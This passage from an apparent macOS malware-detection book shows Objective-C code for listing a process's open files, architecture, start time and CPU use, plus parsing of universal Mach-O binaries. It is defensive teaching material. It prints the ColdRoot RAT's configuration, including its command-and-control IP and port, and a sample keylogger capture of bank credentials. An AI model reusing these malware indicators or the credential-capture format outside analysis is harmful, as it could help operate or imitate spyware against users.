"/Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib",
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...
)

As you can see, we’re able to extract all loaded libraries in ZuRu’s 
address space, including the malicious libcrypto.2.dylib.

Note that on recent versions of macOS, system frameworks (which are 
essentially a type of dynamically loaded library) have been moved into what 
is known as the dyld_shared_cache. However, vmmap will still report the frame-
works’ original paths. This is a notable point for two main reasons. First, if 
you want to examine the framework’s code, you’ll have to extract it from the 
shared cache.14

Second, if you’ve implemented logic to detect self-deleting framework 
libraries, you should make an exception for these frameworks. Otherwise, 
your code will report that they’ve been deleted. One simple way to check if 
a given framework has been moved to the cache is to invoke Apple’s _dyld 
_shared_cache_contains_path API.

Open Files
Just as enumerating loaded libraries can provide insight into the capabili-
ties of a process, so can enumerating any open files. This technique could 
help us identify malware known as ColdRoot, a RAT that affords a remote 
attacker complete control over an infected system.15 If you list all files opened 
by each process on a system infected with this malware, you’ll encounter  
a strange file named conx.wol opened by a process named com.apple.audio 
.driver.app. Upon closer examination, it will become obvious that the pro-
cess does not belong to Apple and is in fact malware (ColdRoot), conx.wol 
is the malware’s configuration file, and it contains valuable information to 
defenders, including the address of the command-and-control server:

% cat com.apple.audio.driver.app/Contents/MacOS/conx.wol
{
    "PO": 80,
    "HO": "45.77.49.118",
    "MU": "CRHHrHQuw JOlybkgerD",
    "VN": "Mac_Vic",
    "LN": "adobe_logs.log",
    "KL": true,
    "RN": true,
    "PN": "com.apple.audio.driver"
}

Later on, you’ll encounter another file opened by the malware, adobe 
_logs.log, which appears to contain captured keystrokes, including a username 
and password for a bank account:

bankofamerica . com
[enter]
user
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[tab]
hunter2
[enter]

You might be wondering how you can determine that these files are 
malicious using programmatic methods alone. Truthfully, this would be com-
plicated. It would perhaps involve creating a regular expression to look for 
URLs, IP addresses, or what appear to be captured keypresses, such as con-
trol characters. However, it’s more likely that other detection logic will have 
already cast this unsigned packed malware as suspicious and flagged it for 
closer examination, ideally by a human malware analyst. ColdRoot, for exam-
ple, is unsigned, packed, and persisted. In this case, the code could provide 
the analyst with both a list of any file opened by the suspicious process and 
the file contents. An analyst could then manually confirm that the flagged 
process was malware and use the files to gain a cursory understanding of how 
it works.

In this section, we discuss two approaches to programmatically enumer-
ating all files opened by a process.

proc_pidinfo
The traditional approach to enumerating the files a process currently has 
open involves the proc_pidinfo API. In short, invoking this API with the PROC 
_PIDLISTFDS flag will return a list of open file descriptors for a given process. 
Let’s walk through a code example that illustrates the use of this API. You can 
find the complete code in a function named getFiles in the enumerateProcesses 
project. We start by retrieving a process’s file descriptors (Listing 1-28).

1 int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, 0, 0);

2 struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

3 proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);

Listing 1-28: Obtaining a list of a process’s file descriptors

The code invokes the proc_pidinfo API with a process ID for a target 
process, the PROC_PIDLISTFDS flag, and a series of zeros to obtain the size of 
memory needed to hold the process’s list of file descriptors 1. We then allo-
cate a buffer of this size to hold pointers of proc_fdinfo structures 2. Then, 
to obtain the actual list of descriptors, we reinvoke the proc_pidinfo API, this 
time with the freshly allocated buffer and its size 3.

Now that we have a list of open file descriptors, let’s examine each 
of them. Regular files should have descriptors of type PROX_FDTYPE_VNODE. 
Listing 1-29 retrieves the paths of these files.

NSMutableArray* files = [NSMutableArray array];

  1 for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
        struct vnode_fdinfowithpath vnodeInfo = {0};
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      2 if(PROX_FDTYPE_VNODE != fdInfo[i].proc_fdtype) {
            continue;
        }

      3 proc_pidfdinfo(pid, fdInfo[i].proc_fd,
        PROC_PIDFDVNODEPATHINFO, &vnodeInfo, PROC_PIDFDVNODEPATHINFO_SIZE);

      4 [files addObject:[NSString stringWithUTF8String:vnodeInfo.pvip.vip_path]];
}

Listing 1-29: Extracting the paths from the file descriptors

Using a for loop, we iterate over the retrieved file descriptors 1. For 
each descriptor, we check whether it is of type PROX_FDTYPE_VNODE and skip all 
other types 2. We then invoke the proc_pidfdinfo API with various param-
eters, such as the process ID, the file descriptor, and PROC_PIDFDVNODEPATHINFO, 
as well as an output structure of type vnode_fdinfowithpath and its size 3. This 
should return information about the specified file descriptor, including its 
path. Once the call completes, we can find the path in the vip_path member 
of the pvip structure, within the vnode_fdinfowithpath structure. We extract 
the member, convert it into a string object, and save it into an array 4.

lsof
Another way of enumerating open files for a process is to mimic macOS’s 
Activity Monitor utility. Though this approach relies on an external macOS 
executable, it often produces a more comprehensive list than the proc_pidinfo 
approach.

After selecting a process in Activity Monitor, a user can click the infor-
mation icon and then the Open Files and Ports tab to see all files the pro-
cess has opened. By reverse engineering Activity Monitor, we can learn that 
it accomplishes this behavior behind the scenes by executing lsof, a built-in 
macOS tool for listing open files.

You can confirm that Activity Monitor uses lsof via a process monitor, a 
tool I’ll show you how to create in Chapter 8. When a user clicks the Open 
Files and Ports tab, the process monitor will show lsof being executed with 
the command line flags -Fn and -p:

# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor
{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "pid" : 86903
    "name" : "lsof",
    "path" : "/usr/sbin/lsof",

    "arguments" : [
      "/usr/sbin/lsof",
      "-Fn",
      "-p",
      "590"
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    ],
...
}

The -p flag specifies the process’s ID, and the -F flag selects fields to be 
processed. When this flag is followed by n, the tool will print out just the 
file’s path, which is exactly what we want.

Let’s follow the approach taken by Activity Monitor and execute the 
lsof binary for a given process, then programmatically parse its output. You 
can find the complete code that implements this approach in a function 
named getFiles2 in the enumerateProcesses project. In Listing 1-30, we start by 
executing lsof with the -Fn and -p flags and a process ID.

NSString* pidAsString = [NSNumber numberWithInt:pid].stringValue;
NSMutableDictionary* results = execTask(@"/usr/sbin/lsof", @[@"-Fn", @"-p", pidAsString]);

Listing 1-30: Programmatically executing lsof

We reuse the execTask function created in Listing 1-24 to run the com-
mand. However, because command line arguments are passed to external 
processes as strings, we must first convert the target process ID to a string. 
Recall that the execTask function will wait until the spawned task has com-
pleted, capture any output, and return it to the caller. Listing 1-31 shows 
one approach to parsing lsof’s output.

NSMutableArray* files = [NSMutableArray array];

NSArray* lines = [[[NSString alloc] initWithData:results[STDOUT] 1
encoding:NSUTF8StringEncoding] componentsSeparatedByCharactersInSet:[NSCharacterSet
newlineCharacterSet]]; 2

for(NSString* result in lines) {
    if(YES == [result hasPrefix:@"n"]) { 3
        NSString* file = [result substringFromIndex:1];
        [files addObject:file];
    }
}

Listing 1-31: Parsing output from lsof

The output is stored in a dictionary named results, and you can access 
it via the key STDOUT 1. You can split the output on newline characters in 
order to process it line by line 2. Then iterate over each line, looking for 
those that contain a filepath (which are prefixed with n) 3, and save them.

Other Information
There is, of course, other information you might want to extract from 
running processes to help you with the detection of malicious code on a 
macOS system. This chapter wraps up with a few examples that examine  
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the following details about a process: its execution state, its execution 
architecture, its start time, and its CPU utilization. You might also want  
to determine its network state, a topic covered in Chapter 4.

Execution State
Imagine you have retrieved a list of process IDs. You’ll likely want to query 
the process further (for example, to build a process ancestry tree or com-
pute code signing information). But what if the process has already exited, 
as in the case of a short-lived shell command? This is pertinent information, 
and at the very least, you’ll want to understand why any attempts to further 
query the process fail.

A trivial way to determine whether a process is dead is to attempt to 
send it a signal. One way to do this is via the kill system API with a signal 
type of 0, as shown in Listing 1-32.

kill(targetPID, 0);
if(ESRCH == errno) {
    // Code placed here will run only if the process is dead.
}

Listing 1-32: Checking whether a process is dead

This won’t kill any living processes; in fact, it’s totally harmless. However, 
if a process has exited, the API will set errno to ESRCH (no such process).

What if the process is zombie-fied? You can use the sysctl API to popu-
late a kinfo_proc structure, as in Listing 1-33.

int mib[4] =  {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t size = sizeof(procInfo);

sysctl(mib, 4, &procInfo, &size, NULL, 0);
if(SZOMB == (SZOMB & procInfo.kp_proc.p_stat)) {
    // Code placed here will run only if the process is a zombie.
}

Listing 1-33: Checking whether a process is a zombie

This structure contains a flag named p_stat. If that flag has the SZOMB bit 
set, you know the process is a zombie.

Execution Architecture
With the introduction of Apple Silicon, macOS now supports both Intel 
(x86_64) and ARM (ARM64) binaries. Because many analysis tools are 
specific to a file’s architecture, identifying this information for a process is 
important. Moreover, although developers have recompiled most legitimate 
software to run natively on Apple Silicon, malware is still playing catch-up; 
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a surprising amount of it is still distributed as Intel binaries. Some examples 
of malware discovered in 2022 that are distributed solely as Intel binaries 
include DazzleSpy, rShell, oRat, and CoinMiner:

% file DazzleSpy/softwareupdate
DazzleSpy/softwareupdate: Mach-O 64-bit executable x86_64

For this reason, you might want to look a little more closely at Intel 
binaries than at ARM or universal binaries.

Unfortunately, identifying architecture information is not as straight-
forward as simply checking the host’s CPU type, because on Apple Silicon 
systems, Intel binaries can still execute, albeit translated via Rosetta. 
Instead, you can follow the process taken by Activity Monitor. Listing 1-34 
shows this approach, which you can find in the getArchitecture function in 
the enumerateProcesses project.

enum Architectures{ArchUnknown, ArchAppleSilicon, ArchIntel};

NSUInteger getArchitecture(pid_t pid) {
    NSUInteger architecture = ArchUnknown;
    cpu_type_t type = -1;
    size_t size = 0;
    int mib[CTL_MAXNAME] = {0};
    size_t length = CTL_MAXNAME;
    struct kinfo_proc procInfo = {0};

  1 sysctlnametomib("sysctl.proc_cputype", mib, &length);
    mib[length++] = pid;

    size = sizeof(cpu_type_t);
  2 sysctl(mib, (u_int)length, &type, &size, 0, 0);

  3 if(CPU_TYPE_X86_64 == type) {
        architecture = ArchIntel;
    } else if(CPU_TYPE_ARM64 == type) {
      4 architecture = ArchAppleSilicon;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        size = sizeof(procInfo);

        sysctl(mib, 4, &procInfo, &size, NULL, 0);
      5 if(P_TRANSLATED == (P_TRANSLATED & procInfo.kp_proc.p_flag)) {
            architecture = ArchIntel;
        }
    }
    return architecture;
}

Listing 1-34: Obtaining a process’s architecture
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This code, as well as Activity Monitor, first uses the "proc_cputype"  
string and the sysctlnametomib and sysctl APIs to determine a running pro-
cess’s CPU type. Note that the array passed to sysctlnametomib has a size of 
CTL_MAXNAME, a constant defined by Apple that defines the maximum number 
of components in an MIB name. If the answer is Intel (CPU_TYPE_X86_64),  
you know the process is running as x86_64. However, on Apple Silicon sys-
tems, these processes could still be backed by an Intel-based binary that  
was translated into ARM via Rosetta. To detect this scenario, Apple checks 
the process’s p_flags (obtained by a call to sysctl). If these flags have the  
P_TRANSLATED bit set, Activity Monitor sets the architecture to Intel.

In the enumerateProcesses project, you’ll find a function named get 
Architecture. It takes a process ID and returns its architecture. First, we  
populate an array via the sysctlnametomib API, passing in the name sysctl 
.proc_cputype 1. Then, after adding the target process ID, we invoke the 
sysctl API with the initialized array to get the CPU type of said process 2. If 
the returned CPU type is CPU_TYPE_X86_64, the code sets the architecture to 
Intel 3. On the other hand, if the CPU type for the target process is CPU 
_TYPE_ARM64, the code defaults to Apple Silicon 4. As noted, the process 
could still be an Intel-based binary, albeit translated. To detect this sce-
nario, the code checks whether the process’s p_flags have the P_TRANSLATED 
bit set. If so, it sets the architecture to Intel 5.

Start Time
When querying running processes, you may find it useful to know when 
each process was started. This can help determine if a process was started 
automatically during system boot or later, perhaps by the user. Processes 
started automatically may be persistently installed, and if these don’t belong 
to the operating system, you may want to closely examine them.

To determine a process’s start time, we can once again turn to the trusty 
sysctl API. Listing 1-35 shows the getStartTime function in the enumerateProcesses 
project, which accepts a process ID and returns the process’s start time.

NSDate* getStartTime(pid_t pid) {
    NSDate* startTime = nil;
    struct timeval timeVal = {0};
    struct kinfo_proc processStruct = {0};
    size_t procBufferSize = sizeof(processStruct);

    int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};

    sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0); 1
    timeVal = processStruct.kp_proc.p_un.__p_starttime; 2

    return [NSDate dateWithTimeIntervalSince1970:timeVal.tv_sec + timeVal.tv_usec / 1.0e6]; 3
}

Listing 1-35: Obtaining the start time of a process
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We invoke sysctl to populate a kinfo_proc structure for a process 1. This 
structure will contain a timeval struct aptly named p_starttime 2. We then con-
vert this Unix timestamp into a more manageable date object that we return 
to the caller 3.

CPU Utilization
Let’s end the chapter by looking at how to compute CPU utilization for a 
given process. Although this isn’t a foolproof heuristic, it may help detect 
surreptitious cryptocurrency miners, which tend to maximize their use of 
system resources.

To compute CPU utilization, start by invoking the proc_pid_rusage 
API, which returns usage information for a given process ID. This API is 
declared in libproc.h as follows:

int proc_pid_rusage(int pid, int flavor, rusage_info_t* buffer);

The flavor argument can be set to the constant RUSAGE_INFO_V0, and the 
final argument is an output buffer to a resource information buffer, which 
should be of type rusage_info_v0.

In Listing 1-36, from the getCPUUsage function in the enumerateProcesses 
project, we invoke proc_pid_rusage twice with a delay (delta) between invo-
cations. Then we compute the difference between the resource informa-
tion of the first and second calls. This code was inspired by a post on Stack 
Overflow.16

struct rusage_info_v0 resourceInfo_1 = {0};
struct rusage_info_v0 resourceInfo_2 = {0};

1 proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_1);

sleep(delta);

2 proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_2);

3 int64_t cpuTime = (resourceInfo_2.ri_user_time - resourceInfo_1.ri_user_time)
+ (resourceInfo_2.ri_system_time - resourceInfo_1.ri_system_time);

Listing 1-36: Computing the CPU time of a process over a delta of five seconds

You can see the first call to proc_pid_rusage at 1, followed by another call 
at 2. Both calls take the same process ID of the target process. We then 
compute the CPU time by subtracting both the user time (ri_user_time) and 
system time (ri_system_time), then adding the results 3.

To compute the CPU percentage in use, we first convert this CPU time 
from Mach time to nanoseconds. Listing 1-37 does this with the help of the 
mach_timebase_info function.

double cpuUsage = 0.0f;
mach_timebase_info_data_t timebase = {0};
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mach_timebase_info(&timebase);
cpuTime = (cpuTime * timebase.numer) / timebase.denom;

cpuUsage = (double)cpuTime / delta / NSEC_PER_SEC * 100;

Listing 1-37: Calculating a percentage of CPU usage

We then divide the CPU time by the specified delay and the number of 
nanoseconds per second times 100 (as we want a percentage).17

Let’s now run enumerateProcesses, which contains this code, against the 
unauthorized cryptocurrency miner found in the Calendar 2 application 
mentioned earlier in this chapter:

% ./enumerateProcesses
...
(1641):/Applications/CalendarFree.app/Contents/MacOS/CalendarFree
...
CPU usage: 370.750173%

As the application is surreptitiously mining, its CPU utilization is a whop-
ping 370 percent! (On multicore CPUs, CPU utilization can reach values over 
100 percent.) We can confirm the accuracy of the program by running the 
built-in macOS ps tool, specifying the PID of the Calendar application:

% ps u -p 1641
USER   PID      %CPU ...
user   1641     372.4 ...

Although the exact percentage will drift over time, ps shows the applica-
tion using roughly the same massive amount of CPU.

Conclusion
In this chapter, you saw how to extract a myriad of useful information from 
running processes, including process hierarchies, code information, and 
much more. With this information, you should be well on your way to detect-
ing any malware running on a macOS system. In the next chapter, we’ll focus 
on programmatically parsing and analyzing the Mach-O executable binary 
that backs each process.
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In the previous chapter, we enumerated 
running processes and extracted informa-

tion that could help us heuristically detect 
malware. However, we didn’t cover how to exam-

ine the actual binary that backed each process. This 
chapter describes how to programmatically parse and 
analyze universal and Mach-O, the native executable 
binary file format of macOS.

You’ll learn how to extract information such as a binary’s dependencies 
and symbols, as well as detect whether the binary contains anomalies, such 
as encrypted data or instructions. This information will improve your abil-
ity to classify a binary as malicious or benign.

Universal Binaries
The majority of Mach-O binaries are distributed in universal binaries. 
Called fat binaries in Apple parlance, these are containers for multiple 

2
P A R S I N G  B I N A R I E S
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architecture-specific (but generally logically equivalent) Mach-O binaries 
known as slices. At runtime, the macOS dynamic loader (dyld) will load and 
then execute whichever embedded Mach-O binary best matches the host’s 
native architecture (for example, Intel or ARM). Because these embedded 
binaries hold the information you’re looking to extract, such as depen-
dencies, you must first understand how to programmatically parse the 
universal binary.

Inspecting
Apple’s file utility can inspect universal binaries. For example, the 
CloudMensis malware is distributed as a universal binary named Window 
Server containing two Mach-O binaries: one compiled for Intel x86_64 
and one for Apple Silicon ARM64 systems. Let’s execute file against 
CloudMensis. As you can see, the tool identifies it as a universal binary and 
shows its two embedded Mach-Os:

% file CloudMensis/WindowServer
CloudMensis/WindowServer: Mach-O universal binary with 2 architectures:
[x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]

CloudMensis/WindowServer (for architecture x86_64): Mach-O 64-bit executable x86_64
CloudMensis/WindowServer (for architecture arm64):  Mach-O 64-bit executable arm64

To programmatically access these embedded binaries, we have to parse 
the universal binary’s header, which contains the offset of each Mach-O. 
Luckily, parsing the header is straightforward. Universal binaries start with 
a fat_header structure. We can find relevant universal structures and con-
stants in Apple’s SDK mach-o/fat.h header file:

struct fat_header {
    uint32_t    magic;        /* FAT_MAGIC or FAT_MAGIC_64 */
    uint32_t    nfat_arch;    /* number of structs that follow */
};

Apple’s comments in this header file indicate that magic, the first member 
of the fat_header structure (an unsigned 32-bit integer), will contain the con-
stant FAT_MAGIC or FAT_MAGIC_64. The use of FAT_MAGIC_64 means the next struc-
tures are of the type fat_arch_64, used when the following slice or offset to it is 
greater than 4GB.1 Comments in Apple’s fat.h header files note that support 
for this extended format is a work in progress, and universal binaries are 
rarely, if ever, so massive, so we’ll focus on the traditional fat_arch structure in 
this chapter.

Not mentioned in the fat_header structure’s comments is the fact that 
the values in the structure are assumed to be big-endian, a vestige of the  
OSX PPC days. Therefore, on little-endian systems such as Intel and 
Apple Silicon, when you read a universal binary into memory, values such  
as the 4 bytes for magic will appear in reverse-byte order.

Apple accounts for this fact by providing the “swapped” magic constant 
FAT_CIGAM. (Yes, CIGAM is just magic backward.) The hexadecimal value of this 
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constant is 0xbebafeca.2 We can see this value by using xxd to dump the bytes 
at the start of the CloudMensis universal binary. On a little-endian host, we 
make use of the -e flag to display the hexadecimal values in little-endian:

% xxd -e -c 4 -g 0 CloudMensis/WindowServer
00000000: bebafeca ...
...

The output, when interpreted as a 4-byte value, will have the host’s endi-
anness applied, which explains why we see the swapped universal magic value 
FAT_CIGAM (0xbebafeca).

Following the magic field in the fat_header structure, we find the nfat_arch 
field, which specifies the number of fat_arch structures. We’ll find one 
fat_arch structure for each architecture-specific Mach-O binary embedded 
in the universal binary. As illustrated in Figure 2-1, these structures imme-
diately follow the fat header.

Fat header
(magic, nfat_arch)

Mach-O #1

fat_arch #2

fat_arch #1

Mach-O #2

Figure 2-1: The layout of a universal binary

Because file showed that CloudMensis contained two embedded 
Mach-Os, we’d expect to see nfat_arch set to 2. We confirm that this is the 
case by using xxd once again. This time, though, we skip the -e flag so as to 
keep the values in big endian:

% xxd -c 4 -g 0 CloudMensis/WindowServer
...
00000004: 00000002 ...

You can find the fat_arch structure definition in the fat.h header file:

struct fat_arch {
    cpu_type_t       cputype;       /* cpu specifier (int) */
    cpu_subtype_t    cpusubtype;    /* machine specifier (int) */
    uint32_t         offset;        /* file offset to this object file */
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    uint32_t    size;     /* size of this object file */
    uint32_t    align;    /* alignment as a power of 2 */
};

The first two members of the fat_arch structure specify the CPU type 
and subtype of the Mach-O binary, while the next two specify the offset and 
size of this slice.

Parsing
Let’s programmatically parse a universal binary and locate each embedded 
Mach-O binary. We’ll show two methods of doing so: using the older NX* 
APIs compatible with older versions of macOS and the newer Macho* APIs 
available on macOS 13 and newer.

N O T E  You can find the code mentioned in this chapter in the parseBinary project in the 
book’s GitHub repository at https://github.com/Objective-see/TAOMM.

NX* APIs

We’ll begin by checking whether the file is indeed a universal binary. Then 
we’ll iterate over all fat_arch structures, printing out their values, and leverage 
the NXFindBestFatArch API to find the embedded binary most compatible with 
the host’s architecture. The system will load and execute this binary when the 
universal binary is launched, so it’s the one we’ll focus on in our analysis.

Your own code may instead want to examine each embedded Mach-O 
binary, especially as nothing stops a developer from making these binaries 
completely different. Although you’ll rarely find this to be the case, the 
2023 3CX supply chain attack provides one notable exception. To trojanize 
the 3CX application, attackers subverted a legitimate universal binary that 
contained both Intel and ARM binaries, adding malicious code to the for-
mer and leaving the ARM binary untouched.

Let’s start by loading a file and performing some initial checks 
(Listing 2-1).

#import <mach-o/fat.h>
#import <mach-o/arch.h>
#import <mach-o/swap.h>
#import <mach-o/loader.h>

int main(int argc, const char* argv[]) {

    NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]]; 1
    struct fat_header* fatHeader = (struct fat_header*)data.bytes; 2

    if( (FAT_MAGIC == fatHeader->magic) || 3
        (FAT_CIGAM == fatHeader->magic) ) {
        printf("\nBinary is universal (fat)\n");
        struct fat_arch* bestArch = parseFat(argv[1], fatHeader);

https://github.com/Objective-see/TAOMM
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        ...
    }
    ...
}

Listing 2-1: Loading, validating, and finding the “best” slice of a universal binary

After reading the contents of the file into memory 1 and typecasting 
the initial bytes to a struct fat_header * 2, the code checks that it is indeed 
a universal binary 3. Note that it checks both the big-endian (FAT_MAGIC) 
and little-endian (FAT_CIGAM) versions of the magic value.

To keep things simple, this code doesn’t support the large fat file 
format. Moreover, for production code, you should perform other sanity 
checks, such as ensuring that the file was successfully loaded and that it’s 
bigger than the size of a fat_header structure.

The parsing logic lives in a helper function named parseFat, which you 
can see invoked in Listing 2-1. After printing out the fat header, this func-
tion will iterate over each fat_arch structure and return the most compatible 
Mach-O slice.

First, though, we must deal with any differences in endianness. The val-
ues in the fat_header and fat_arch structures are always in big-endian order, 
so on little-endian systems such as Intel and Apple Silicon, we must swap 
them. To do so, we first invoke the NXGetLocalArchInfo API to determine the 
host’s underlying byte order (Listing 2-2). We’ll use the value returned, a 
pointer to an NXArchInfo structure, to swap the endianness (as well as later, 
to determine the most compatible Mach-O).

struct fat_arch* parseFat(const char* file, NSData* data) {
    const NXArchInfo* localArch = NXGetLocalArchInfo();

Listing 2-2: Determining the local machine’s architecture

You might notice that the NXGetLocalArchInfo and swap_* APIs are marked 
as deprecated, although they’re still available and fully functional at the 
time of publication. You can use replacement macho_* APIs, found in mach-o/
utils.h, on macOS 13 and newer, and you’ll learn about this in the next sec-
tion. However, until macOS 15, one of these new APIs was broken, so you 
may still want to stick to the older APIs.

Next, we perform the swap with the swap_fat_header and swap_fat_arch 
functions (Listing 2-3).

struct fat_header* header = (struct fat_header*)data.bytes;

if(FAT_CIGAM == header->magic) { 1
    swap_fat_header(header, localArch->byteorder); 2
    swap_fat_arch((struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header)),
    header->nfat_arch, localArch->byteorder); 3
}
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printf("Fat header\n");
printf("fat_magic %#x\n", header->magic);
printf("nfat_arch %d\n",  header->nfat_arch);

Listing 2-3: Swapping the fat header and fat architecture structures to match the host’s byte ordering

The code first checks whether a swap is needed 1. Recall that if the 
magic constant of the fat header is FAT_CIGAM, the code is executing on a 
little-endian host, so we should perform a swap. By invoking the helper 
APIs swap_fat_header 2 and swap_fat_arch 3, the code converts the header 
and all fat_arch values to match the host’s byte ordering, as returned by 
NXGetLocalArchInfo. The latter API takes the number of fat_arch structures to 
swap, which the code provides via the nfat_arch field of the now-swapped fat 
header.

Once the header and all fat_arch structures conform to the host’s byte 
ordering, the code can print out details of each embedded Mach-O binary 
that the fat_arch structures describe (Listing 2-4).

struct fat_arch* arch = (struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header));

for(uint32_t i = 0; i < header->nfat_arch; i++) { 1
    printf("architecture %d\n", i);
    printFatArch(&arch[i]);
}

void printFatArch(struct fat_arch* arch) { 2
    int32_t cpusubtype = 0;
    cpusubtype = arch->cpusubtype & ~CPU_SUBTYPE_MASK; 3

    printf(" cputype %u (%#x)\n", arch->cputype, arch->cputype);
    printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
    printf(" capabilities 0x%#x\n", (arch->cpusubtype & CPU_SUBTYPE_MASK) >> 24);
    printf(" offset %u (%#x)\n", arch->offset, arch->offset);
    printf(" size %u (%#x)\n", arch->size, arch->size);
    printf(" align 2^%u (%d)\n", arch->align, (int)pow(2, arch->align));
}

Listing 2-4: Printing out each fat_arch structure

The code starts by initializing a pointer to the first fat_arch structure, 
which comes immediately after the fat_header. Then it iterates over each, 
bounded by the nfat_arch member of the fat_header 1. To print out values 
from each fat_arch structure, the code invokes a helper function we’ve named 
printFatArch 2, which first separates the CPU subtype and its capabilities, as 
both are found in the cpusubtype member. Apple provides the CPU_SUBTYPE 
_MASK constant to extract just the bits that describe the subtype 3.

Let’s run this code against CloudMensis. It outputs the following:

% ./parseBinary CloudMensis/WindowServer
Binary is universal (fat)
Fat header
fat_magic 0xcafebabe
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nfat_arch 2
architecture 0
    cputype 16777223 (0x1000007)
    cpusubtype 3 (0x3)
    capabilities 0x0
    offset 16384 (0x4000)
    size 708560 (0xacfd0)
    align 2^14 (16384)
architecture 1
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0x0
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    align 2^14 (16384)

From the output, we can see the malware’s two embedded Mach-O 
binaries:

•	 At offset 16384, a binary compatible with CPU_TYPE_X86_64 (0x1000007) 
that is 708,560 bytes long

•	 At offset 737280, a binary compatible with CPU_TYPE_ARM64 (0x100000c) 
that is 688,176 bytes long

To confirm the accuracy of this code, we can compare this output against 
the macOS otool command, whose -f flag parses and displays fat headers:

% otool -f CloudMensis/WindowServer
Fat headers
fat_magic 0xcafebabe
nfat_arch 2
architecture 0
    cputype 16777223
    cpusubtype 3
    capabilities 0x0
    offset 16384
    size 708560
    align 2^14 (16384)
architecture 1
    cputype 16777228
    cpusubtype 0
    capabilities 0x0
    offset 737280
    size 688176
    align 2^14 (16384)

In the tool’s output, we see the same information about the malware’s 
two embedded binaries.

Next, let’s add some code to determine which of the embedded Mach-O 
binaries matches the host’s native architecture. Recall that we already 
invoked the NXGetLocalArchInfo API to retrieve the host architecture. Moreover, 
we also showed how to compute the offset to the first fat_arch structure, 
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which immediately follows the fat header. To find the natively compatible 
Mach-O, we can now invoke the NXFindBestFatArch API (Listing 2-5).

bestArchitecture = NXFindBestFatArch(localArch->cputype, localArch->
cpusubtype, arch, header->nfat_arch);

Listing 2-5: Determining a universal binary’s best architecture

We pass the API the host’s architecture, a pointer to the start of the fat 
_arch structures, and the number of these structures. The NXFindBestFatArch 
API will then determine the Mach-O binary from within the universal 
binary that is the most compatible with the host’s native architecture. Recall 
the parseFat helper function returns this value and prints it out.

If we add this code to the binary parser and then run it again against 
CloudMensis, it outputs the following:

% ./parseBinary CloudMensis/WindowServer
...
best architecture match
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0x0
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    align 2^14 (16384)

On an Apple Silicon (ARM64) system, the code has correctly deter-
mined that the second embedded Mach-O binary, with a CPU type of 
16777228/0x100000c (CPU_TYPE_ARM64), is the most compatible Mach-O in the 
universal CloudMensis binary. When launching this universal binary, we 
can use the Kind column in Activity Monitor to confirm that macOS indeed 
selected and ran the Apple Silicon Mach-O (Figure 2-2).

Figure 2-2: The CloudMensis binary WindowServer running as a native Apple  
Silicon binary
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Another way to confirm that CloudMensis runs as a native Apple Silicon 
binary is to use the enumerateProcesses project presented in Chapter 1. Recall 
that it extracts the architecture of each running process:

% ./enumerateProcesses
...
(1990):/Library/WebServer/share/httpd/manual/WindowServer
...
architecture: Apple Silicon

We receive the same result.

Macho* APIs

In macOS 13, Apple introduced the macho_* APIs. Found in mach-o/utils.h, 
these APIs offer a simplified way to iterate over Mach-O binaries in a uni-
versal binary and select the most compatible one. The deprecated NX* APIs 
still work for this purpose, but if you’re developing tools on macOS 13 or 
later, it’s wise to instead use the newer functions.

The macho_for_each_slice API lets us extract a universal binary’s Mach-Os 
without having to manually parse the universal header or deal with the 
nuances of byte orderings. We invoke this function with a path to a file and 
callback block to run for each Mach-O slice. If invoked against a stand-alone 
Mach-O, the function will run its callback just once, and if the file isn’t a well- 
formed universal binary or Mach-O, the function will gracefully fail, meaning 
we don’t have to manually verify the file type ourselves. The mach-o/utils.h 
header file includes the possible return values and their meanings:

ENOENT - path does not exist
EACCES - path exists but caller does not have permission to access it
EFTYPE - path exists but it is not a Mach-o or fat file
EBADMACHO - path is a Mach-o file, but it is malformed

The callback block invoked for each embedded Mach-O has the follow-
ing type:

void (^ _Nullable callback)(const struct mach_header* _Nonnull slice,
uint64_t offset, size_t size, bool* _Nonnull stop)

This type might look a little confusing at first, but if we focus solely on 
the parameters, we see that the callback will be invoked with a variety of 
information about the slice, including a pointer to a mach_header structure, 
the slice’s offset, and its size.

The code in Listing 2-6, part of the parseFat helper function, invokes 
macho_for_each_slice to print out information about each embedded Mach-O. 
It also includes some basic error handling, which we can use to filter out 
files that are neither universal nor Mach-Os.
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struct fat_arch* parseFat(const char* file, struct fat_header* header) {
    ...
    if(@available(macOS 13.0, *)) {
        __block int count = 0;

        int result = macho_for_each_slice(file,
        ^(const struct mach_header* slice, uint64_t offset, size_t size, bool* stop) { 1
            printf(“architecture %d\n”, count++); 2
            printf(“offset %llu (%#llx)\n”, offset, offset);
            printf(“size %zu (%#zx)\n”, size, size);
            printf(“name %s\n\n”, macho_arch_name_for_mach_header(slice)); 3
        });
        if(0 != result) {
            printf(“ERROR: macho_for_each_slice failed\n”);

            switch(result) { 4
                case EFTYPE:
                    printf(“EFTYPE: path exists but it is not a Mach-o or fat file\n\n”);
                    break;

                case EBADMACHO:
                    printf(“EBADMACHO: path is a Mach-o file, but it is malformed\n\n”);
                    break;

                ...
            }
        }
    }
    ...
}

Listing 2-6: Iterating over all embedded Mach-Os

This code invokes the macho_for_each_slice function 1. In the callback 
block, we print out a counter variable followed by the slice’s offset and 
